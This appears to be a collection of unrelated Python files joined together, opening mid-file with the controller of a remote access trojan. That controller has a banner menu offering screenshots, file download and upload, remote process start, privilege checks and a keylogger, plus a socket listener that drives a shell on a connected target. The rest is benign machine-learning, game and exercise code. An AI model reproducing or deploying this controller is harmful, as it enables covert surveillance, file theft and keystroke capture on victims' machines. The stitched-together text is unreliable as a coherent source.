  /---'\  |   ' |      |'   `  /---'\  |    | |    | |----'  |
,'      \ /      `._.' /    |,'      \ /    |  `---| `.___, /\__
                                               \___/
###############################################################
# Usage(Post-connect):                                        #
#                                                             #
#         screenshot     -> Take screenshot of target screen  #
#         download[path] -> Download a file from target pc    #
#         upload[path]   -> Upload a file to target pc        #
#         get[url]       -> Downloads external file from url  #
#         start[name]    -> starts process on target pc       #
#         check          -> checks for admin privileges       #
#         q              -> exits session                     #
#         help           -> shows options                     #
#         keylogger      -> starts keylogger                  #
#         dump_keys      -> displays recorded keystrokes      #
###############################################################
''')

count = 1

def reliable_send(data):
	json_data = json.dumps(data)
	print(json_data)
	target.send(json_data)

def reliable_recv():
	json_data = ""
	while True:
		try:
			json_data = json_data + target.recv(1024)
			return json.loads(json_data)
		except ValueError:
                        continue

def shell():
	while True:
		command = raw_input("Shell\#%s " % str(ip))
		reliable_send(command)
		if command == 'q':
			break
		elif command[:2] == 'cd' and len(command) > 1:
			continue
		elif command[:9] == 'keylogger':
			continue
		elif command[:8] == 'download':
			with open(command[9:], 'wb') as file:
				result = reliable_recv()
				file.write(base64.b64decode(result))
		elif command[:6] == 'upload':
			try:
				with open(command[7:], 'rb') as up:
					reliable_send(base64.b64encode(up.read()))
			except:
				failed = "===failed to upload==="
				reliable_send(base64.b64encode(failed))
		elif command[:10] == 'screenshot':
			global count
			with open('screenshot%d' % count, "wb") as screen:
				image = reliable_recv()
				decode_image = base64.b64decode(image)
				if decode_image[:4] == '[!!]':
					print(decode_image)
				else:
					screen.write(decode_image)
					count = count + 1
		else:
			result = reliable_recv()
			print(result)

def server():
	global s
	global ip
	global target
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
	s.bind(("192.168.0.14", 12345))
	s.listen(5)
	print("====Listening for connections====")
	target, ip = s.accept()
	print("==connection received==")

server()
shell()
s.close()


import os
import os.path
import sys
import torch
import torch.utils.data as data
import cv2
import numpy as np

class FaceDataset(data.Dataset):
    def __init__(self, txt_path, img_dirs, preproc=None):
        self.preproc = preproc
        self.imgs_path = []
        self.img_infos = []
        f = open(txt_path, 'r')
        lines = f.readlines()

        isFirst = True
        labels = []
        for line in lines:
            line = line.rstrip()
            if line.startswith('#'):
                if isFirst is True:
                    isFirst = False
                else:
                    labels_copy = labels.copy()
                    self.img_infos.append(labels_copy)
                    labels.clear()
                path = line[2:]
                if path.startswith('train_'):
                    fold_path = img_dirs[0]
                else:
                    fold_path = img_dirs[1]

                path = fold_path + path
                self.imgs_path.append(path)
            else:
                line = line.split(' ')
                label = [float(x) for x in line]
                labels.append(label)

        self.img_infos.append(labels)

    def __len__(self):
        return len(self.imgs_path)

    def __getitem__(self, index):
        img = cv2.imread(self.imgs_path[index])
        height, width, _ = img.shape

        labels = self.img_infos[index]

        annotations = np.zeros((0, 15))

        for idx, label in enumerate(labels):
            annotation = np.zeros((1, 15))
            # bbox
            annotation[0, 0] = label[0]  # x1
            annotation[0, 1] = label[1]  # y1
            annotation[0, 2] = label[0] + label[2]  # x2
            annotation[0, 3] = label[1] + label[3]  # y2

            # landmarks
            annotation[0, 4] = label[4]    # l0_x
            annotation[0, 5] = label[5]    # l0_y
            annotation[0, 6] = label[7]    # l1_x
            annotation[0, 7] = label[8]    # l1_y
            annotation[0, 8] = label[10]   # l2_x
            annotation[0, 9] = label[11]   # l2_y
            annotation[0, 10] = label[13]  # l3_x
            annotation[0, 11] = label[14]  # l3_y
            annotation[0, 12] = label[16]  # l4_x
            annotation[0, 13] = label[17]  # l4_y

            if (annotation[0, 4] < 0) or (int(label[-1]) == 3):
                annotation[0, 14] = -1
            elif (int(label[-1]) == 1) or (int(label[-1]) == 2):
                annotation[0, 14] = 2 # for mask data
            else:
                annotation[0, 14] = 1

            annotations = np.append(annotations, annotation, axis=0)

        target = np.array(annotations)

        if self.preproc is not None:
            img, target = self.preproc(img, target)

        return torch.from_numpy(img), target


import numpy as np
import paddle
import paddle.nn as nn
from libs.tools import change_default_args
from libs.tools import GroupNorm
from libs.nn import Empty

class RPN(nn.Layer):
    def __init__(self,
                 use_norm=True,
                 num_class=2,
                 layer_nums=[3, 5, 5],
                 layer_strides=[2, 2, 2],
                 num_filters=[128, 128, 256],
                 upsample_strides=[1, 2, 4],
                 num_upsample_filters=[256, 256, 256],
                 num_input_filters=128,
                 num_anchor_per_loc=2,
                 encode_background_as_zeros=True,
                 use_direction_classifier=True,
                 use_groupnorm=False,
                 num_groups=32,
                 use_bev=False,
                 box_code_size=7,
                 name='rpn'):
        super(RPN, self).__init__()
        self._num_anchor_per_loc = num_anchor_per_loc
        self._use_direction_classifier = use_direction_classifier
        self._use_bev = use_bev
        assert len(layer_nums) == 3
        assert len(layer_strides) == len(layer_nums)
        assert len(num_filters) == len(layer_nums)
        assert len(upsample_strides) == len(layer_nums)
        assert len(num_upsample_filters) == len(layer_nums)
        factors = []
        for i in range(len(layer_nums)):
            assert int(np.prod(layer_strides[:i + 1])) % upsample_strides[i] == 0
            factors.append(np.prod(layer_strides[:i + 1]) // upsample_strides[i])
        assert all([x == factors[0] for x in factors])
        if use_norm:
            if use_groupnorm:
                BatchNorm2d = change_default_args(
                    num_groups=num_groups, epsilon=1e-3)(GroupNorm)
            else:
                BatchNorm2d = change_default_args(
                    epsilon=1e-3, momentum=0.01)(nn.BatchNorm2D)
            Conv2d = change_default_args(bias_attr=False)(nn.Conv2D)
            ConvTranspose2d = change_default_args(bias_attr=False)(
                nn.Conv2DTranspose)
        else:
            BatchNorm2d = Empty
            Conv2d = change_default_args(bias_attr=True)(nn.Conv2D)
            ConvTranspose2d = change_default_args(bias_attr=True)(
                nn.Conv2DTranspose)

        # note that when stride > 1, conv2d with same padding isn't
        # equal to pad-conv2d. we should use pad-conv2d.
        block2_input_filters = num_filters[0]
        if use_bev:
            self.bev_extractor = nn.Sequential(
                Conv2d(6, 32, 3, padding=1),
                BatchNorm2d(32),
                nn.ReLU(),
                # nn.MaxPool2d(2, 2),
                Conv2d(32, 64, 3, padding=1),
                BatchNorm2d(64),
                nn.ReLU(),
                nn.MaxPool2D(2, 2),
            )
            block2_input_filters += 64
        block1_layer = [
            nn.Pad2D(1),
            Conv2d(num_input_filters, num_filters[0], 3, stride=layer_strides[0]),
            BatchNorm2d(num_filters[0]),
            nn.ReLU(),
        ]
        for i in range(layer_nums[0]):
            block1_layer.append(
                Conv2d(num_filters[0], num_filters[0], 3, padding=1))
            block1_layer.append(BatchNorm2d(num_filters[0]))
            block1_layer.append(nn.ReLU())
        self.block1 = nn.Sequential(*block1_layer)
        self.deconv1 = nn.Sequential(
            ConvTranspose2d(
                num_filters[0],
                num_upsample_filters[0],
                upsample_strides[0],
                stride=upsample_strides[0]),
            BatchNorm2d(num_upsample_filters[0]),
            nn.ReLU(),
        )
        block2_layer = [
            nn.Pad2D(1),
            Conv2d(block2_input_filters, num_filters[1], 3, stride=layer_strides[1]),
            BatchNorm2d(num_filters[1]),
            nn.ReLU()
        ]
        for i in range(layer_nums[1]):
            block2_layer.append(
                Conv2d(num_filters[1], num_filters[1], 3, padding=1))
            block2_layer.append(BatchNorm2d(num_filters[1]))
            block2_layer.append(nn.ReLU())
        self.block2 = nn.Sequential(*block2_layer)
        self.deconv2 = nn.Sequential(
            ConvTranspose2d(
                num_filters[1],
                num_upsample_filters[1],
                upsample_strides[1],
                stride=upsample_strides[1]),
            BatchNorm2d(num_upsample_filters[1]),
            nn.ReLU(),
        )
        block3_layer = [
            nn.Pad2D(1),
            Conv2d(num_filters[1], num_filters[2], 3, stride=layer_strides[2]),
            BatchNorm2d(num_filters[2]),
            nn.ReLU(),
        ]
        for i in range(layer_nums[2]):
            block3_layer.append(
                Conv2d(num_filters[2], num_filters[2], 3, padding=1))
            block3_layer.append(BatchNorm2d(num_filters[2]))
            block3_layer.append(nn.ReLU())
        self.block3 = nn.Sequential(*block3_layer)
        self.deconv3 = nn.Sequential(
            ConvTranspose2d(
                num_filters[2],
                num_upsample_filters[2],
                upsample_strides[2],
                stride=upsample_strides[2]),
            BatchNorm2d(num_upsample_filters[2]),
            nn.ReLU(),
        )
        if encode_background_as_zeros:
            num_cls = num_anchor_per_loc * num_class
        else:
            num_cls = num_anchor_per_loc * (num_class + 1)
        self.conv_cls = nn.Conv2D(sum(num_upsample_filters), num_cls, 1)
        self.conv_box = nn.Conv2D(
            sum(num_upsample_filters), num_anchor_per_loc * box_code_size, 1)
        if use_direction_classifier:
            self.conv_dir_cls = nn.Conv2D(
                sum(num_upsample_filters), num_anchor_per_loc * 2, 1)

    def forward(self, x, bev=None):
        x = self.block1(x)
        up1 = self.deconv1(x)
        if self._use_bev:
            bev[:, -1] = paddle.clip(
                paddle.log(1 + bev[:, -1]) / np.log(16.0), max=1.0)
            x = paddle.concat([x, self.bev_extractor(bev)], axis=1)
        x = self.block2(x)
        up2 = self.deconv2(x)
        x = self.block3(x)
        up3 = self.deconv3(x)
        x = paddle.concat([up1, up2, up3], axis=1)
        box_preds = self.conv_box(x)
        cls_preds = self.conv_cls(x)
        # [N, C, y(H), x(W)]
        box_preds = box_preds.transpose((0, 2, 3, 1))
        cls_preds = cls_preds.transpose((0, 2, 3, 1))
        ret_dict = {
            "box_preds": box_preds,
            "cls_preds": cls_preds,
        }
        if self._use_direction_classifier:
            dir_cls_preds = self.conv_dir_cls(x)
            dir_cls_preds = dir_cls_preds.transpose((0, 2, 3, 1))
            ret_dict["dir_cls_preds"] = dir_cls_preds
        return ret_dict

if __name__ == '__main__':
    inputs = paddle.zeros([1, 128, 496, 432])
    rpn = RPN()
    result = RPN(inputs)
    print('succeed!')


from tkinter import *
import itertools as it
import random
from tkinter import messagebox

class Play:
    def __init__(self,obj):
        self.root=obj.game_board
        self.obj=obj
        self.version=obj.version
        for i in range(5):
            self.root.grid_rowconfigure(i,weight=1)
        for i in range(3):
            self.root.grid_columnconfigure(i,weight=1)

        self.turn=False
        self.flag_turn=False

        self.start()

    def start(self):

        self.player1=[]
        self.player2=[]

        self.turn=not self.flag_turn
        self.flag_turn= not self.flag_turn

        for i in range(3):
            for j in range(3):
                l=Label(self.root,text=' ',height=7,width=23,bg='black',fg='springgreen')
                l.grid(row=i,column=j,sticky='nswe',padx=2,pady=2)

        self.start_b=Button(self.root,text='START',command=self.Make_play_board,
                    fg='black',bg='springgreen',
                     activebackground='mediumspringgreen',activeforeground='black',font=('Arial',30,'bold'),padx=0,pady=0)
        self.start_b.grid(row=3,column=0,sticky='nswe',columnspan=3,padx=2,pady=2)

    def Make_play_board(self):
        self.board=[0,1,2,3,4,5,6,7,8]
        k=0
        self.start_b['state']=DISABLED
        self.start_b['bg']='black'
        self.start_b.grid(row=3,column=1,columnspan=1,pady=2,padx=2)

        for i in range(3):
            for j in range(3):
                b=Button(self.root,text=' ',height=7,width=7,bg='black',fg='springgreen',activebackground='mediumspringgreen',
                         activeforeground='black',command=lambda t=(i,j,k):self.place_X_or_O_1(t) if self.version=='Single' else self.place_X_or_O_2(t))
                b.grid(row=i,column=j,sticky='nswe',padx=2,pady=2)
                k+=1
        self.play1=Label(self.root,text=self.obj.player_1 if self.flag_turn else '        ',bg='springgreen',font=('Arial',10,'bold'),padx=0,pady=0,fg='black')
        self.play1.grid(row=3,column=0,sticky='nswe',pady=2,padx=2)

        self.play2=Label(self.root,text='        ' if self.flag_turn else self.obj.player_2,bg='springgreen',font=('Arial',10,'bold'),padx=0,pady=0,fg='black')
        self.play2.grid(row=3,column=2,sticky='nswe',pady=2,padx=2)

        if self.version=='Single' and not self.flag_turn:
            if self.turn:self.turn = not self.turn
            self.place_X_or_O_1((None,))

    def place_X_or_O_1(self,t):
        turn=self.turn
        if turn:
            l=Label(self.root,text='X',bg='black',fg='springgreen',font=('Comic Sans MS',40),padx=0,pady=0)
            l.grid(row=t[0],column=t[1],sticky='nswe',padx=2,pady=2)
            self.player1.append(t[2])
            self.play1['text']=''
            self.play2['text']=self.obj.player_2
            self.board[t[2]]='X'

            self.iswin()

            self.turn=not(self.turn)

        if not self.turn:
            move=self.Ai_mode()

            if move is not None:
                num=0
                for i in range(3):
                    for j in range(3):
                        if num==move:
                            pos=i,j
                        num+=1
                l=Label(self.root,text='O',bg='black',fg='springgreen',font=('Comic Sans MS',40),padx=0,pady=0)
                l.grid(row=pos[0],column=pos[1],sticky='nswe',padx=2,pady=2)
                self.player2.append(move)
                self.play2['text']=''
                self.play1['text']=self.obj.player_1
                self.board[move]='O'

            self.turn=not(self.turn)
        self.iswin()

    def check_for_win(self,l):
        win_combinations=[(0,1,2),(3,4,5),(6,7,8),(0,3,6),(1,4,7),(2,5,8),(0,4,8),(2,4,6)]
        perm=list(it.permutations(l,3))
        for i in win_combinations:
            if i in perm:
                return True

    def place_X_or_O_2(self,t):
        turn=self.turn
        l=Label(self.root,text='X' if turn else 'O',bg='black',fg='springgreen',font=('Comic Sans MS',40),padx=0,pady=0)
        l.grid(row=t[0],column=t[1],sticky='nswe',padx=2,pady=2)
        self.player1.append(t[2]) if turn else self.player2.append(t[2])

        if turn:
            self.play1['text']=''
            self.play2['text']=self.obj.player_2

        else:
            self.play2['text']=''
            self.play1['text']=self.obj.player_1

        self.turn=not(self.turn)
        self.iswin()

    def iswin(self):
        if len(self.player1)>2 and self.check_for_win(self.player1):
            messagebox.showinfo('WINNER',self.obj.player_1+' won')
            self.obj.score_update(self.obj.player_1)
            self.start()
        elif len(self.player2)>2 and self.check_for_win(self.player2):
            messagebox.showinfo('WINNER',self.obj.player_2+' won')
            self.obj.score_update(self.obj.player_2)
            self.start()
        elif (len(self.player1)==5 and len(self.player2)==4) or (len(self.player2)==5 and len(self.player1)==4):
            messagebox.showinfo('TIE','TIE')
            self.start()

    def Ai_mode(self):
        possibleMoves = [i for i,ele in enumerate(self.board) if type(ele) is int]
        move=None
        for a in ['O','X']:
            for i in possibleMoves:
                if a=='X':
                    player=self.player1[::]
                else:
                    player=self.player2[::]

                player.append(i)

                if self.check_for_win(player):
                    move = i
                    return move
                else:
                    player.pop(-1)

        cornersOpen=[]
        for i in possibleMoves:
            if i in [0,2,6,8]:
                cornersOpen.append(i)
        if len(cornersOpen)>0:
            move=cornersOpen[random.randint(0,len(cornersOpen)-1)]
            return move
        if 4 in possibleMoves:
            move=4
            return move

        edgesOpen=[]
        for i in possibleMoves:
            if i in [0,2,6,8]:
                edgesOpen.append(i)
        if len(edgesOpen)>0:
            move=edgesOpen[random.randint(0,len(edgesOpen)-1)]
            return move

        return move

class Interact():
    bgcolor='black'
    fgcolor='springgreen'
    font='arail'
    def __init__(self):
        self.window=Tk()
        self.window.attributes('-fullscreen',1)
        self.window.protocol("WM_DELETE_WINDOW",lambda :self.Popup_info('Exit','We are taking you\n out from this.',1))
        self.window.config(background=bgcolor)
        self.popup=None
        self.window.bind('<Button-1>',self.close_popup)
        self.wn_width,self.wn_height=self.window.maxsize()
        self.name=Label(self.window,text='TIC TAC TOE',font=('candara',71,'bold'),anchor='n',bg=self.bgcolor,
                        fg=self.fgcolor)
        self.name.place(x=(self.wn_width//2-250),y=self.wn_height//16)
        print(self.name.size())
        self.Interact_frame=Frame(self.window,width=500,height=500,bg=self.bgcolor)
        self.Interact_frame.place(x=(self.wn_width//2-250),y=(self.wn_height//2-150))

        self.frame1=Frame(self.Interact_frame,width=500,bg=self.bgcolor,height=70)

        self.single=Button(self.frame1,text='Single-player',bg=self.bgcolor,fg=self.fgcolor,width=20,height=2,
                          font=('arial',16),command=self.single_player)
        self.single.pack(side='left')
        self.multi=Button(self.frame1,text='Multi-player',bg=self.bgcolor,fg=self.fgcolor,width=20,height=2,
                            font=('arial',16),command=self.multi_player)
        self.multi.pack(side='left')
        self.frame1.place(x=0,y=0)
        self.f1=None
        self.f2=None
        label=Label(self.window,text='Exit(Alt+F4)',font=('Arial',15,'bold'),anchor='n',bg=self.bgcolor,
                        fg=self.fgcolor)
        label.place(x=self.wn_width-120,y=0)
        self.player_1_score=0
        self.player_2_score=0
        self.window.mainloop()

    def score_update(self,player):
        if player==self.player_1:
            self.player_1_score+=1
            self.score_player_1['text']=self.player_1[0:9]+': '+str(self.player_1_score)
        else:
            self.player_2_score+=1
            self.score_player_2['text']=self.player_2[0:9]+': '+str(self.player_2_score)

    def fxn(self):

        import Animation
        Animation.main(self)

        self.game_board=Frame(self.window,width=500,height=500,bg=self.fgcolor)
        self.game_board.place(x=(self.wn_width//2-250),y=(self.wn_height//2-150))
        self.score_player_1=Label(self.window,text=self.player_1[0:9],font=(self.font,15),bg=self.bgcolor,justify='right',
                                  fg=self.fgcolor,width=10)
        self.score_player_1.place(x=(self.wn_width//2-370),y=(self.wn_height//2-150))

        self.score_player_2=Label(self.window,text=self.player_2[0:9],font=(self.font,15),bg=self.bgcolor,justify='left',
                                  fg=self.fgcolor,width=10)
        self.score_player_2.place(x=(self.wn_width//2+280),y=(self.wn_height//2-150))

        self.menu=Button(self.window,text="Menu",font=(self.font,15),bg=self.fgcolor,justify='right',
                                  fg=self.bgcolor,width=10,
                         command=self.show_menu)
        self.menu.place(x=(self.wn_width//2-250),y=self.wn_height//2-190)

        self.exit=Button(self.window,text="Exit",font=(self.font,15),bg=self.fgcolor,justify='right',
                                  fg=self.bgcolor,width=10,
                         command=lambda :self.Popup_info('Exit','We are taking you\n out from this.',1))
        self.exit.place(x=(self.wn_width//2+145),y=self.wn_height//2-190)

        self.play=Play(self)

    def show_menu(self):
        self.menu.destroy()
        self.exit.destroy()
        self.game_board.destroy()

    def single_player(self):
        self.single['state']=DISABLED
        self.multi['state']=NORMAL
        if self.f1:
            self.f1.destroy()
            self.f2.destroy()
        self.version='Single'

        self.f1=Frame(self.Interact_frame,height=400,width=400,bg=self.bgcolor)

        self.name_label=Label(self.f1,text='Player',font=(self.font,15),bg=self.bgcolor,justify='left',fg=self.fgcolor)
        self.name_label.pack(fill=BOTH,pady=10,side='left',padx=10)
        self.name_entry=Entry(self.f1,font=(self.font,15),bg=self.bgcolor,fg=self.fgcolor,bd=2,
                              insertbackground=self.fgcolor)
        self.name_entry.pack(fill=BOTH,pady=10,side='left',padx=10)

        self.start_button_1=Button(self.f1,text='Start',justify='center',height=1,width=7,font=(self.font,12,'bold'),
                                bg=self.bgcolor,fg=self.fgcolor,padx=0,pady=0,command=self.single_player_entry)
        self.start_button_1.pack(side='left',padx=10,pady=10)

        self.f1.place(x=30,y=150)

        self.f2=Frame(self.Interact_frame,height=400,width=400,bg=self.bgcolor)
        t='''Hello...
You are going to fight against my
algorithm that can beat you. You
can switch your player mode by top
menu.'''
        self.info_label=Label(self.f2,text=t,font=(self.font,15),bg=self.bgcolor,justify='left',fg='red')
        self.info_label.pack(fill=BOTH,side='left',pady=10,padx=10)

        self.f2.place(x=70,y=250)

    def single_player_entry(self):
        self.player_1=self.name_entry.get().capitalize()
        self.player_2='Opponent'

        if self.player_1=='':
            label=Label(self.Interact_frame,text='Plese fill the entry',font=(self.font,15),bg=self.bgcolor,justify='left',fg='red')
            label.place(x=115,y=128)
            self.name_entry.focus_set()
        else:
            self.fxn()

    def multi_player(self):
        self.multi['state']=DISABLED
        self.single['state']=NORMAL

        if self.f1:
            self.f1.destroy()
            self.f2.destroy()

        self.version='Multi'
        self.f1=Frame(self.Interact_frame,height=400,width=400,bg=self.bgcolor)
        self.player_1=Label(self.f1,text='Player-1',font=(self.font,15),bg=self.bgcolor,justify='left',fg=self.fgcolor)
        self.player_1.pack(fill=BOTH,pady=10,side='left',padx=10)
        self.name_entry_1=Entry(self.f1,font=(self.font,15),bg=self.bgcolor,fg=self.fgcolor,bd=2,
                              insertbackground=self.fgcolor)
        self.name_entry_1.pack(fill=BOTH,pady=10,side='left',padx=10)
        self.f1.place(x=30,y=150)

        self.f2=Frame(self.Interact_frame,height=400,width=400,bg=self.bgcolor)

        self.player_2=Label(self.f2,text='Player-2',font=(self.font,15),bg=self.bgcolor,justify='left',fg=self.fgcolor)
        self.player_2.pack(fill=BOTH,side='left',pady=10,padx=10)

        self.name_entry_2=Entry(self.f2,bd=2,bg=self.bgcolor,font=(self.font,15),fg=self.fgcolor,
                                  insertbackground=self.fgcolor)
        self.name_entry_2.pack(fill=BOTH,pady=10,side='left',padx=10)

        self.start_button_2=Button(self.f2,text='Start',justify='center',height=1,width=7,font=(self.font,12,'bold'),
                                bg=self.bgcolor,fg=self.fgcolor,padx=0,pady=0,command=self.multi_player_entry)
        self.start_button_2.pack(side='left',padx=10,pady=10)
        self.f2.place(x=30,y=200)

    def multi_player_entry(self):
        self.player_1=self.name_entry_1.get().capitalize()
        self.player_2=self.name_entry_2.get().capitalize()

        if self.player_1=='' or self.player_2=='':
            label=Label(self.Interact_frame,text='Plese fill the entries',font=(self.font,15),bg=self.bgcolor,justify='left',fg='red')
            label.place(x=133,y=128)
            if self.player_1=='':
                self.name_entry_1.focus_set()
            else:
                self.name_entry_2.focus_set()
        else:
            self.fxn()

    def Popup_info(self,title='Help',t=None,flag=None):
        if self.popup:self.popup.destroy()
        self.window.bell()
        if not t: t=self.help_str
        self.popup=Toplevel(self.window)
        self.popup.protocol("WM_DELETE_WINDOW",self.fxnn)
        self.popup.title(title)
        self.popup.configure(background='black')
        self.popup.geometry('600x300+450+100')
        self.popup.transient(self.window)
        text_label=Label(self.popup,text=t,bg='black',fg='mediumspringgreen',font=('candara',15,'bold'))
        text_label.pack(side='left',fill=BOTH,expand=YES)

        for i in range(8):
            text_label.grid_rowconfigure(i,weight=1)
        for i in range(3):
            text_label.grid_columnconfigure(i,weight=1)

        Button(text_label,text='Exit',command=lambda : self.fxnn(flag),font=('candara',15,'bold'),
                  bg='mediumspringgreen',fg='black',width=10).grid(row=8,column=1,padx=5,pady=5)

        self.popup.mainloop()

    def fxnn(self,flag=None):
        if flag:
            self.window.destroy()
            return
        self.popup.destroy()

    def close_popup(self,event):
        if self.popup:
            self.fxnn()

if __name__=='__main__':
    i=Interact()


number_chris = int(input())
number_rose = int(input())
number_lale = int(input())
season = input()
holiday = input()

total_amount = 0

s_price_chris = 2
s_price_rose = 4.10
s_price_lale = 2.50

aw_price_chris = 3.75
aw_price_rose = 4.50
aw_price_lale = 4.15

if season == "Spring" or season == "Summer":
    total_amount = number_chris * s_price_chris + number_rose * s_price_rose + number_lale * s_price_lale
elif season == "Autumn" or season == "Winter":
    total_amount = number_chris * aw_price_chris + number_rose * aw_price_rose + number_lale * aw_price_lale

if holiday == "Y":
    total_amount *= 1.15
if number_lale > 7 and season == "Spring":
    total_amount *= 0.95
if number_rose >= 10 and season == "Winter":
    total_amount *= 0.90
if number_lale + number_rose + number_chris > 20:
    total_amount *= 0.80

total_amount += 2

print(f"{total_amount:.2f}")


import numpy as np
import tensorflow as tf
import cv2

#load the model

best_model_file = "e:/temp/melanoma-Unet.h5"
model = tf.keras.models.load_model(best_model_file)
print(model.summary())

Height= 128
Width=128

imgTestPath= "E:/Data-sets/Melanoma/ISIC2018_Task1-2_Validation_Input/ISIC_0012643.jpg"
img = cv2.imread(imgTestPath)

img2 = cv2.resize(img , (Width, Height))
img2 = img2 / 255.0
imgForModel = np.expand_dims(img2, axis=0)

print(img2.shape)
print(imgForModel.shape)

p = model.predict(imgForModel)
resultMask = p[0]
print("Result mask : ")
print(resultMask.shape)

# since it is a binary classification , any value above 0.5 will be changed to 255 (White)
# and any value under 0.5 will be changed to 0 (Black)

# this will create a predicted mask !!!

resultMask[resultMask <=0.5] = 0
resultMask[resultMask > 0.5] = 255

scale_precent = 25
width = int(img.shape[1] * scale_precent / 100)
height = int(img.shape[0] * scale_precent / 100)
dim = (width, height)

img = cv2.resize(img, dim , interpolation = cv2.INTER_AREA)
mask = cv2.resize(resultMask, dim , interpolation = cv2.INTER_AREA)

trueMaskFile = "E:/Data-sets/Melanoma/ISIC2018_Task2_Validation_GroundTruth/ISIC_0012643_attribute_pigment_network.png"
trueMask = cv2.imread(trueMaskFile,cv2.IMREAD_COLOR)
trueMask = cv2.resize(trueMask,  dim , interpolation = cv2.INTER_AREA)

# show the result
cv2.imshow("First image", img)
cv2.imshow("Predicted Mask ", mask)
cv2.imshow("Real mask ", trueMask)

cv2.imwrite("e:/temp/predicted.png",mask)
cv2.imwrite("e:/temp/img.png",img)

cv2.waitKey(0)


from training import configure_net
import torch
from sklearn import metrics
from torchvision import transforms
from torch.utils.data.dataloader import DataLoader
from torch import cuda
import importlib
from os import path
from matplotlib import pyplot as plt
import numpy as np
from dataloader import tugraz_color_keys, imagenet_denorm
from custom_metrics import f1_score, jaccard_score, precision_score
import matplotlib.patches as mpatch

def test_net(config, dataset, fold_info, sampler=None):
    device = torch.device('cuda' if cuda.is_available() and config.gpu else 'cpu')
    net_config = importlib.import_module(f'net_configurations.{config.model_config}').CONFIG
    net = configure_net(net_config, 24)

    net.load_state_dict(fold_info['model_state_dict'])
    net.to(device=device)
    net.train(mode=False)

    data_loader = DataLoader(dataset=dataset,
                             sampler=sampler,
                             batch_size=1,
                             num_workers=config.num_threads)

    acc, jcc, pre, f1 = 0, [], [], []
    labels = np.arange(0, dataset.classes())
    conf = np.zeros((dataset.classes(), dataset.classes()))
    for idx, (image, label) in enumerate(data_loader):
        if not config.validation_stats and not config.generate_images:
            break
        image = image.to(device)
        label = label.to(device)
        prediction = net(image)
        # prediction = torch.rand((1, np.random.randint(0, 25), 704, 1024))
        pred_label = prediction.argmax(dim=1).squeeze().detach().cpu().numpy().astype(np.uint)
        true_label = label.argmax(dim=1).squeeze().detach().cpu().numpy().astype(np.uint)

        if config.generate_images:
            true_mask, pred_mask = dataset.pred_to_color_mask(true_label, pred_label)
            image = transforms.Normalize(**imagenet_denorm)(image).squeeze().movedim(0, -1).detach().cpu().numpy()
            plot_and_save(image, pred_mask, true_mask, idx, config, (dataset.colors()/255, dataset.classnames()))

        if config.validation_stats:
            pred_label = pred_label.flatten()
            true_label = true_label.flatten()
            acc += metrics.accuracy_score(true_label, pred_label, normalize=True)
            jcc.append(jaccard_score(true_label, pred_label, dataset.classes()))
            pre.append(precision_score(true_label, pred_label, dataset.classes()))
            f1.append(f1_score(true_label, pred_label, dataset.classes()))
            conf += metrics.confusion_matrix(true_label, pred_label, labels=labels)

    fold_results = {}
    if config.validation_stats:
        num_samples = len(data_loader)
        acc /= num_samples
        jcc = np.nanmean(np.vstack(jcc), axis=0)
        pre = np.nanmean(np.vstack(pre), axis=0)
        f1 = np.nanmean(np.vstack(f1), axis=0)
        # confusion gets normalization later

        fold_results = {'confusion': conf, 'acc': acc, 'jcc': jcc, 'pre': pre, 'f1': f1}
        print(fold_results)

    if config.training_charts:
        plot_training_charts(config, device)

    return fold_results

def plot_training_charts(config, device):
    data = torch.load(path.join(config.train_path, 'training_results'), map_location=device)
    epoch = data[config.fold]['epoch']
    tacc = np.asarray(data[config.fold]['acc'])
    tacc = tacc.reshape((epoch + 1, -1)).mean(axis=1)
    loss = np.asarray(data[config.fold]['loss'])
    loss = loss.reshape((epoch + 1, -1)).mean(axis=1)
    epochs = np.arange(0, epoch + 1)
    fig, ax1 = plt.subplots()
    color = 'tab:red'
    ax1.set_title(f'{config.name}, fold {config.fold}')
    ax1.set_xlabel('epochs')
    ax1.set_ylabel('acc', color=color)
    ax1.plot(epochs, tacc, color=color)
    ax1.tick_params(axis='y', labelcolor=color)
    ax2 = ax1.twinx()  # instantiate a second axes that shares the same x-axis
    color = 'tab:blue'
    ax2.set_ylabel('loss', color=color)  # we already handled the x-label with ax1
    ax2.plot(epochs, loss, color=color)
    ax2.tick_params(axis='y', labelcolor=color)
    fig.tight_layout()
    plt.savefig(path.join(config.test_path, f'{config.name}_chart_fold{config.fold}.jpg'))
    # plt.show()

def plot_and_save(image, predicted_label, im_label, idx, config, legend):
    fig, ax = plt.subplots(2, 3, figsize=(12, 6.3), squeeze=False)
    [axis.set_axis_off() for axis in ax.flatten()]
    fig.tight_layout()
    ax[0, 0].imshow(image), ax[0,1].imshow(predicted_label), ax[0,2].imshow(im_label)
    ax[0, 0].set_title(f'Original')
    ax[0, 1].set_title('Prediction')
    ax[0, 2].set_title(f'Ground Truth')
    gs = ax[1, 0].get_gridspec()
    for axis in ax[1, :]:
        axis.remove()
    axbig = fig.add_subplot(gs[1, :])
    axbig.set_axis_off()
    colors, names = legend
    patches = [mpatch.Patch(color=c, label=n) for c, n in zip(colors, names)]
    axbig.legend(handles=patches, ncol=9, loc='upper left')
    plt.subplots_adjust(top=0.89)
    # plt.show()
    plt.savefig(path.join(config.test_path, f'{(config.fold+1)*idx}.jpg'))
    fig.clear()
    plt.cla(), plt.clf()


import unittest

from . import outils

class Tegalf:
    """Classe pour tester egalf"""

    def __init__(self, a_=0.0, b_=0.0, ok_=True):
        self.a, self.b, self.ok = a_, b_, ok_

    def __str__(self):
        return "a={}, b={}, ok={}".format(self.a, self.b, self.ok)

class OutilsEgalfTestCase(unittest.TestCase):
    def test_egalf(self):
        tt = [
            Tegalf(a_=1.2, b_=1.2, ok_=True),
            Tegalf(a_=1.2, b_=1.2 + 1e-15, ok_=False),
            Tegalf(a_=1.2, b_=1.2 + 0.9e-15, ok_=True),
            Tegalf(a_=1.0, b_=1, ok_=True),
            Tegalf(a_=1, b_=1.0, ok_=True),
            Tegalf(a_=1, b_=1, ok_=True),
        ]
        # print()
        # print("test_egalf")
        for v_ in tt:
            ok_ = outils.egalf(v_.a, v_.b)
            # print("v", v_, "obtenu: ", "ok", ok_)
            self.assertEqual(v_.ok, ok_)

        with self.assertRaises(AssertionError):
            outils.egalf(1.2, 1.2, prec=0.0)
            outils.egalf(1.2, 1.2, prec=-1e-15)

if __name__ == '__main__':
    unittest.main()


import tensorflow as tf
import enum

class MappingType(enum.Enum):
    Identity = 0
    Linear = 1
    Affine = 2

